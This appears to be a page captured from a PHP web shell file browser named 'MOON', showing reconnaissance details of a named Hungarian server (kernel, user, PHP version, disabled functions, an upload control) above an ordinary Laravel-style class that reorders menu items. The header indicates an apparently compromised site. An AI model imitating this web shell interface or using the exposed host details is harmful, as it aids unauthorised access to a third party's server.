MOON
Server: Apache
System: Linux server.royaltuning.hu 4.18.0-425.13.1.el8_7.x86_64 #1 SMP Tue Feb 21 04:20:52 EST 2023 x86_64
User: royaltuning (1001)
PHP: 8.2.32
Disabled: exec,passthru,shell_exec,system
Upload Files
File: //var/www/html/Modules/Menu/Services/MenuItemOrdener.php
<?php

namespace Modules\Menu\Services;

use Modules\Menu\Entities\MenuItem;

class MenuItemOrdener
{
    /**
     * Order the menu items.
     *
     * @param array $rootItem
     * @return void
     */
    public function order(array $rootItem)
    {
        $this->orderChildren($rootItem['id'], $rootItem['children']);
    }

    /**
     * Order child menu items recursively.
     *
     * @param int $parentId
     * @param array $childItems
     * @return void
     */
    private function orderChildren($parentId, array $childItems)
    {
        foreach ($childItems as $position => $childItem) {
            $menuItem = MenuItem::find($childItem['id']);

            if (is_null($menuItem)) {
                continue;
            }

            $menuItem->update(['parent_id' => $parentId, 'position' => $position]);

            if (isset($childItem['children'])) {
                $this->orderChildren($childItem['id'], $childItem['children']);
            }
        }
    }
}